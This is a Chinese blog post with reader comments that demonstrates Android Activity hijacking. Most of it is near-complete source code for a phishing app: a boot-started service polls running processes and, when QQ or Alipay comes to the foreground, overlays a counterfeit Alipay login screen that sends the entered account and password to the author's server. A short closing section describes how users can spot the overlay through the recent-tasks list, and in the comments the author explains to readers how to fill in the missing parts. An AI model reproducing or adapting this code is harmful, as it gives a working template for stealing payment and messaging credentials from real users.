`
貌似掉线
  • 浏览: 260810 次
  • 性别: Icon_minigender_1
  • 来自: 深圳
社区版块
存档分类
最新评论

大谈android安全1——Activity劫持与用户防范

阅读更多
本文调度机制内容部分参考于网上博文,但代码及用户防范的方法均属原创,转载请注明出处 http://msdxblog.sinaapp.com/?p=623 或本人在此ITEYE的这一博客:http://maosidiaoxian.iteye.com/blog/1623016
本博客声明:此文仅为技术讨论,不对具体阅读者的行为负责。同时希望大家不要将此用于非法目的。
1、Activity调度机制
在android系统中,不同的程序之间的切换基本上是无缝的,它们之间的切换只不过是Activity的切换。Activity的概念相当于一个与用户交互的界面。而Activity的调度是交由Android系统中的AmS管理的。AmS即ActivityManagerService(Activity管理服务),各个应用想启动或停止一个进程,都是先报告给AmS。
当AmS收到要启动或停止Activity的消息时,它先更新内部记录,再通知相应的进程运行或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity都保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back键时,顶部Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。

2、Android设计上的缺陷——Activity劫持
如果在启动一个Activity时,给它加入一个标志位FLAG_ACTIVITY_NEW_TASK,就能使它置于栈顶并立马呈现给用户。
<img class="alignnone size-full wp-image-621" title="Activity劫持 演示文档" src="http://msdxblog-wordpress.stor.sinaapp.com/uploads/2012/08/Activity劫持-演示文档.png" alt="" width="960" height="720" />
但是这样的设计却有一个缺陷。如果这个Activity是用于盗号的伪装Activity呢?
在Android系统当中,程序可以枚举当前运行的进程而不需要声明其他权限,这样子我们就可以写一个程序,启动一个后台的服务,这个服务不断地扫描当前运行的进程,当发现目标进程启动时,就启动一个伪装的Activity。如果这个Activity是登录界面,那么就可以从中获取用户的账号密码。

3、示例
下面是示例代码。
AndroidManifest.xml文件的代码。

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.sinaapp.msdxblog.android.activityhijacking"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk android:minSdkVersion="4" />

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

    <application
        android:name=".HijackingApplication"
        android:icon="@drawable/icon"
        android:label="@string/app_name" >
        <activity
            android:name=".activity.HijackingActivity"
            android:theme="@style/transparent"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:name=".activity.sadstories.JokeActivity" />
        <activity android:name=".activity.sadstories.QQStoryActivity" />
        <activity android:name=".activity.sadstories.AlipayStoryActivity" />

        <receiver
            android:name=".receiver.HijackingReceiver"
            android:enabled="true"
            android:exported="true" >
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>

        <service android:name=".service.HijackingService" >
        </service>
    </application>

</manifest>


在以上的代码中,声明了一个服务service,用于枚举当前运行的进程。其中如果不想开机启动的话,甚至可以把以上receiver部分的代码,及声明开机启动的权限的这一行代码 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />去掉,仅仅需要访问网络的权限(向外发送获取到的账号密码),单从AndroidManifest文件是看不出任何异常的。

下面是正常的Activity的代码。在这里只是启动用于Activity劫持的服务。如果在上面的代码中已经声明了开机启动,则这一步也可以省略。
package com.sinaapp.msdxblog.android.activityhijacking.activity;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;

import com.sinaapp.msdxblog.android.activityhijacking.R;
import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;

public class HijackingActivity extends Activity {
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
		Intent intent2 = new Intent(this, HijackingService.class);
		startService(intent2);
		Log.w("hijacking", "activity启动用来劫持的Service");
    }
}


如果想要开机启动,则需要一个receiver,即广播接收器,在开机时得到开机启动的广播,并在这里启动服务。如果没有开机启动(这跟上面至少要实现一处,不然服务就没有被启动了),则这一步可以省略。
/*
 * @(#)HijackingBroadcast.java		       Project:ActivityHijackingDemo
 * Date:2012-6-7
 *
 * Copyright (c) 2011 CFuture09, Institute of Software, 
 * Guangdong Ocean University, Zhanjiang, GuangDong, China.
 * All rights reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 *  you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package com.sinaapp.msdxblog.android.activityhijacking.receiver;

import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

/**
 * @author Geek_Soledad (66704238@51uc.com)
 */
public class HijackingReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
			Log.w("hijacking", "开机启动");
			Intent intent2 = new Intent(context, HijackingService.class);
			context.startService(intent2);
			Log.w("hijacking", "启动用来劫持的Service");
		}
	}
}


下面这个HijackingService类可就关键了,即用来进行Activity劫持的。
在这里,将运行枚举当前运行的进程,发现目标进程,弹出伪装程序。
代码如下:
/*
 * @(#)HijackingService.java		       Project:ActivityHijackingDemo
 * Date:2012-6-7
 *
 * Copyright (c) 2011 CFuture09, Institute of Software, 
 * Guangdong Ocean University, Zhanjiang, GuangDong, China.
 * All rights reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 *  you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package com.sinaapp.msdxblog.android.activityhijacking.service;

import java.util.HashMap;
import java.util.List;

import android.app.ActivityManager;
import android.app.ActivityManager.RunningAppProcessInfo;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.util.Log;

import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;

/**
 * @author Geek_Soledad (66704238@51uc.com)
 */
public class HijackingService extends Service {
	private boolean hasStart = false;
	// 这是一个悲伤的故事……
	HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();

	// Timer mTimer = new Timer();
	Handler handler = new Handler();

	Runnable mTask = new Runnable() {

		@Override
		public void run() {
			ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
			List<RunningAppProcessInfo> appProcessInfos = activityManager
					.getRunningAppProcesses();
			// 枚举进程
			Log.w("hijacking", "正在枚举进程");
			for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {
				// 如果APP在前台,那么——悲伤的故事就要来了
				if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
					if (mSadStories.containsKey(appProcessInfo.processName)) {
						// 进行劫持
						hijacking(appProcessInfo.processName);
					} else {
						 Log.w("hijacking", appProcessInfo.processName);
					}
				}
			}
			handler.postDelayed(mTask, 1000);
		}

		/**
		 * 进行劫持
		 * @param processName
		 */
		private void hijacking(String processName) {
			Log.w("hijacking", "有程序要悲剧了……");
			if (((HijackingApplication) getApplication())
					.hasProgressBeHijacked(processName) == false) {
				Log.w("hijacking", "悲剧正在发生");
				Intent jackingIsComing = new Intent(getBaseContext(),
						mSadStories.get(processName));
				jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
				getApplication().startActivity(jackingIsComing);
				((HijackingApplication) getApplication())
						.addProgressHijacked(processName);
				Log.w("hijacking", "已经劫持");
			}
		}
	};

	@Override
	public IBinder onBind(Intent intent) {
		return null;
	}

	@Override
	public void onStart(Intent intent, int startId) {
		super.onStart(intent, startId);
		if (!hasStart) {
			mSadStories.put("com.sinaapp.msdxblog.android.lol",
					JokeActivity.class);
			mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class);
			mSadStories.put("com.eg.android.AlipayGphone",
					AlipayStoryActivity.class);
			handler.postDelayed(mTask, 1000);
			hasStart = true;
		}
	}

	@Override
	public boolean stopService(Intent name) {
		hasStart = false;
		Log.w("hijacking", "劫持服务停止");
		((HijackingApplication) getApplication()).clearProgressHijacked();
		return super.stopService(name);
	}
}


下面是支付宝的伪装类(布局文件就不写了,这个是对老版本的支付宝界面的伪装,新的支付宝登录界面已经完全不一样了。表示老版本的支付宝的界面相当蛋疼,读从它反编译出来的代码苦逼地读了整个通宵结果还是没读明白。它的登录界面各种布局蛋疼地嵌套了十层,而我为了实现跟它一样的效果也蛋疼地嵌套了八层的组件)。
/*
 * @(#)QQStoryActivity.java		       Project:ActivityHijackingDemo
 * Date:2012-6-7
 *
 * Copyright (c) 2011 CFuture09, Institute of Software, 
 * Guangdong Ocean University, Zhanjiang, GuangDong, China.
 * All rights reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 *  you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;

import android.app.Activity;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.text.Html;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;

import com.sinaapp.msdxblog.android.activityhijacking.R;
import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;

/**
 * @author Geek_Soledad (66704238@51uc.com)
 */
public class AlipayStoryActivity extends Activity {
	private EditText name;
	private EditText password;
	private Button mBtAlipay;
	private Button mBtTaobao;
	private Button mBtRegister;

	private TextView mTvFindpswd;

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		this.setTheme(android.R.style.Theme_NoTitleBar);
		setContentView(R.layout.alipay);
		mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);
		mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);
		mBtRegister = (Button) findViewById(R.id.alipay_bt_register);
		mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);
		mTvFindpswd.setText(Html.fromHtml("[u]找回登录密码[/u]"));
		mBtAlipay.setSelected(true);

		name = (EditText) findViewById(R.id.input_name);
		password = (EditText) findViewById(R.id.input_password);

	}

	public void onButtonClicked(View v) {
		switch (v.getId()) {
		case R.id.alipay_bt_login:
			HandlerThread handlerThread = new HandlerThread("send");
			handlerThread.start();
			new Handler(handlerThread.getLooper()).post(new Runnable() {
				@Override
				public void run() {
					// 发送获取到的用户密码
					SendUtil.sendInfo(name.getText().toString(), password
							.getText().toString(), "支付宝");
				}
			});
			moveTaskToBack(true);

			break;
		case R.id.alipay_bt_alipay:
			chooseToAlipay();
			break;
		case R.id.alipay_bt_taobao:
			chooseToTaobao();
			break;
		default:
			break;
		}
	}

	private void chooseToAlipay() {
		mBtAlipay.setSelected(true);
		mBtTaobao.setSelected(false);
		name.setHint(R.string.alipay_name_alipay_hint);
		mTvFindpswd.setVisibility(View.VISIBLE);
		mBtRegister.setVisibility(View.VISIBLE);
	}

	private void chooseToTaobao() {
		mBtAlipay.setSelected(false);
		mBtTaobao.setSelected(true);
		name.setHint(R.string.alipay_name_taobao_hint);
		mTvFindpswd.setVisibility(View.GONE);
		mBtRegister.setVisibility(View.GONE);
	}
}

上面的其他代码主要是为了让界面的点击效果与真的支付宝看起来尽量一样。主要的代码是发送用户密码的那一句。
至于SendUtil我就不提供了,它是向我写的服务器端发送一个HTTP请求,将用户密码发送出去。

下面是我在学校时用来演示的PPT及APK。
ActivityHijackingDemo.apk<br/>
Activity劫持 演示文档.7z<br/>

4、用户防范
这里我将说下我发现的防范的方法,非常简单。这个方法是对用户而言的。android手机均有一个HOME键(即小房子的那个图标),长按可以看到近期任务(前几天发现一个奇葩的手机,居然是短按一个键的,而这个键长按时是弹出MENU菜单,太奇葩了)。对于我所用的HTC G14而言,显示的最近的一个是上一个运行的程序。小米显示的最近的一个是当前运行的程序。所以,在要输入密码进行登录时,可以通过长按HOME键查看近期任务,以我的手机为例,如果在登录QQ时长按发现近期任务出现了QQ,则我现在的这个登录界面就极有可能是伪装了,切换到另一个程序,再查看近期任务,就可以知道这个登录界面是来源于哪个程序了。
如果是小米手机的话,在进行登录时,如果查看的近期任务的第一个不是自己要登录的那个程序的名字,则它就是伪装的。

目前对于这种Activity劫持,没有发现有任何手机查杀软件可以主动防范。而我所知的,也只有我发现的这一方法可以判别。如果有新的消息,欢迎参加讨论。

本文调度机制内容部分参考于网上博文,但代码及用户防范的方法均属原创,转载请注明出处 http://msdxblog.sinaapp.com/?p=623 或本人在此ITEYE的这一博客:http://maosidiaoxian.iteye.com/blog/1623016
2
2
分享到:
评论
12 楼 貌似掉线 2013-04-08  
xiaozhi6156 写道
                   

对于你这种表情党,我只想引用一段代码
int minusSub(int _, int b){
    return -_-b;
}
11 楼 xiaozhi6156 2013-04-07  
                   
10 楼 alanjaver 2012-08-16  
再次证明,android机不能乱装软件,哈哈。。。
9 楼 貌似掉线 2012-08-10  
Crisbang 写道
貌似掉线 写道
Crisbang 写道
不错,写的真好。有个疑问
((HijackingApplication) getApplication()) 
                        .addProgressHijacked(processName);

方法addProgressHijacked 在哪里定义的!

这里还有另外定义的一个Application类,有关这个类如何写及在Manifest文件中定义,可以查看android的API,写得很清楚。
至于这个方法,我主要是为了不重复弹出,把已经劫持的程序在这里加入一个列表里。

哦,谢谢,你肯定是自己继承了application 然后定义的自己的方法。楼主方便把demo代码贡献出来吗?

对。定义的方法很简单,就是定义了一个集合类型的成员变量,还有几个方法。把劫持过的加入这个列表中,判断某个程序是否已经被劫持。仅此而已。你可以试着写,这个并不复杂。
8 楼 Crisbang 2012-08-10  
貌似掉线 写道
Crisbang 写道
不错,写的真好。有个疑问
((HijackingApplication) getApplication()) 
                        .addProgressHijacked(processName);

方法addProgressHijacked 在哪里定义的!

这里还有另外定义的一个Application类,有关这个类如何写及在Manifest文件中定义,可以查看android的API,写得很清楚。
至于这个方法,我主要是为了不重复弹出,把已经劫持的程序在这里加入一个列表里。

哦,谢谢,你肯定是自己继承了application 然后定义的自己的方法。楼主方便把demo代码贡献出来吗?
7 楼 貌似掉线 2012-08-08  
Crisbang 写道
不错,写的真好。有个疑问
((HijackingApplication) getApplication()) 
                        .addProgressHijacked(processName);

方法addProgressHijacked 在哪里定义的!

这里还有另外定义的一个Application类,有关这个类如何写及在Manifest文件中定义,可以查看android的API,写得很清楚。
至于这个方法,我主要是为了不重复弹出,把已经劫持的程序在这里加入一个列表里。
6 楼 貌似掉线 2012-08-08  
renpeng301 写道
伪装的activity的应用 icon是不是要做得跟 目标程序一样?
否则是不是会露馅阿?

不用。只要登录界面一致就行。因为在显示Activity时,是不会显示图标的。也就是我这个程序,除了有我正常的功能(如我例子中的APK,是一个简单的屏幕破碎的程序),但是里面还有伪装其他程序的Activity,而我只要在适当的时候(其他程序启动时)把我的伪装的Activity弹出即可。
5 楼 renpeng301 2012-08-07  
伪装的activity的应用 icon是不是要做得跟 目标程序一样?
否则是不是会露馅阿?
4 楼 Crisbang 2012-08-07  
不错,写的真好。有个疑问
((HijackingApplication) getApplication()) 
                        .addProgressHijacked(processName);

方法addProgressHijacked 在哪里定义的!
3 楼 貌似掉线 2012-08-07  
nanjingjiangbiao 写道
真是高人,我日

类似文章网上有介绍。不过我发现了对用户而言的防范之法,就一并写出来了。
2 楼 advance345 2012-08-07  
这是一个很好的研究方向
1 楼 nanjingjiangbiao 2012-08-07  
真是高人,我日

相关推荐

    Android四大组件——Activity——Activity的生命周期.doc

    Android 四大组件——Activity——Activity 的生命周期 Android 四大组件中的 Activity 是一个非常重要的组件,它是用户与应用程序交互的入口。Activity 的生命周期是指从创建到销毁的整个过程,在这个过程中,...

    Android四大组件——Activity(一)Activity之间通信及其生命周期变化

    在Android应用开发中,Activity是四大组件之一,它是用户与应用程序交互的主要界面。理解Activity的通信方式和生命周期变化是每个Android开发者必须掌握的基础知识。在本篇内容中,我们将深入探讨Activity之间的通信...

    Android学习3——Activity生命周期

    在Android应用开发中,Activity是用户界面的基本组件,它负责与用户进行交互。理解Activity的生命周期至关重要,因为这直接影响到应用程序的行为和性能。在“Android学习3——Activity生命周期”这个主题中,我们将...

    动手学Android之七——Activity生命周期

    "动手学Android之七——Activity生命周期"这个主题深入探讨了Activity如何在应用程序中创建、运行、暂停、停止以及销毁的过程,这对于理解和优化应用性能至关重要。在这个例子程序中,开发者将有机会实践这些生命...

    安卓Android源码——Activity实现透明的最简洁Demo.zip

    安卓Android源码——Activity实现透明的最简洁Demo.zip

    安卓Android源码——Activity设置相同的action进行判断源码.zip

    在安卓(Android)系统中,Activity是应用程序的基本组件,它负责与用户交互并展示界面。当我们创建多个Activity并希望它们响应相同的Intent Action时,需要理解Android如何处理这些Intent以及如何在源码层面进行...

    安卓Android源码——activity切换特效.zip

    在安卓(Android)开发中,Activity是应用程序的基本构建块,它代表了用户界面的一个独立屏幕。Activity切换特效是指在用户操作之间,如点击按钮或滑动屏幕时,两个Activity之间的过渡动画。这些特效能提升用户体验...

    动手学Android之二——初识Activity示例代码

    在Android开发领域,Activity是应用程序的基本构建块,它代表了用户与应用交互的可视化界面。当我们谈论"动手学Android之二——初识Activity示例代码"时,这通常指的是一个简单的教程,旨在帮助初学者理解如何创建并...

    安卓Android源码——(Activity跳转与操作).zip

    这个压缩包文件“安卓Android源码——(Activity跳转与操作).zip”显然专注于讲解如何在Android系统中进行Activity的跳转和操作。以下是关于这个主题的详细知识点: 一、Activity生命周期 1. Activity有七个关键状态...

    AndroidStudio————实战演练——仿美团外卖菜单

    在本项目中,"AndroidStudio————实战演练——仿美团外卖菜单"是一个专注于使用Android Studio开发的应用程序实战案例,目标是创建一个类似于美团外卖的菜单功能。这个项目涵盖了多个Android开发的关键知识点,...

    Android教材————

    Activity是Android应用程序的基本组件,它代表了用户可见且可与之交互的界面。生命周期包括了创建(onCreate())、启动(onStart())、显示(onResume())、暂停(onPause())、停止(onStop())、销毁(onDestroy()...

    Android源码——Activity设置相同的action进行判断源码_new_02.7z

    在Android系统中,Activity是应用程序的基本组件之一,用于与用户交互和展示界面。当我们需要根据不同的情况启动同一个Activity时,通常会通过Intent的Action属性来区分不同的启动意图。本压缩包文件提供了关于如何...

    安卓Android源码——悬浮Activity并可拖动(访悬浮歌词).zip

    在Android应用中,Activity是用户与应用交互的界面,它通常对应屏幕上的一个窗口。为了实现悬浮效果,我们需要创建一个特殊的Activity类型,它不会全屏显示,而是以一个小窗口的形式存在于屏幕之上。 1. **创建悬浮...

    安卓Android源码——(Activity生命周期).zip

    本资料“安卓Android源码——(Activity生命周期).zip”着重探讨Activity从创建到销毁的各个阶段,以及在这些阶段中如何管理资源和响应用户或系统的事件。 Activity生命周期包含以下几个关键状态: 1. **初始状态**...

    Android源码——Activity设置相同的action进行判断源码_new_02.zip

    在Android系统中,Activity是应用程序的基本构建块,它负责与用户交互并展示界面。当我们启动一个Activity时,通常会通过Intent来指定Action、Category、Data等参数,来定义要执行的操作。这个压缩包"Android源码...

    安卓Android源码——模拟Activity进出栈.zip

    在安卓开发中,Activity是应用程序的基本构建块,它代表了用户与应用交互的界面。Activity的进出栈管理是安卓系统中处理多任务和任务切换的关键机制。本资料"安卓Android源码——模拟Activity进出栈.zip"着重探讨了...

    安卓Android源码——(Activity跳转与操作).rar

    在安卓(Android)开发中,Activity是应用的基本组件之一,它是用户界面的载体,负责处理用户的交互事件。本文将深入探讨Android源码中的Activity跳转与操作,这对于我们理解和优化应用性能至关重要。 首先,...

    第7章 良好的学习开端——Android基本组件介绍之Android应用的灵魂——Intent和Activity介绍与实例

    android入门级视频:Android基本组件介绍之Android应用的灵魂——Intent和Activity介绍与实例

    Android自定义相机——身份证扫描界面

    在Android应用开发中,创建一个自定义相机以实现身份证扫描功能是常见的需求。这涉及到对Android系统的相机API的深入理解和自定义布局设计。本篇将详细介绍如何构建这样一个系统,主要针对Android 6.0(API级别23)...

Global site tag (gtag.js) - Google Analytics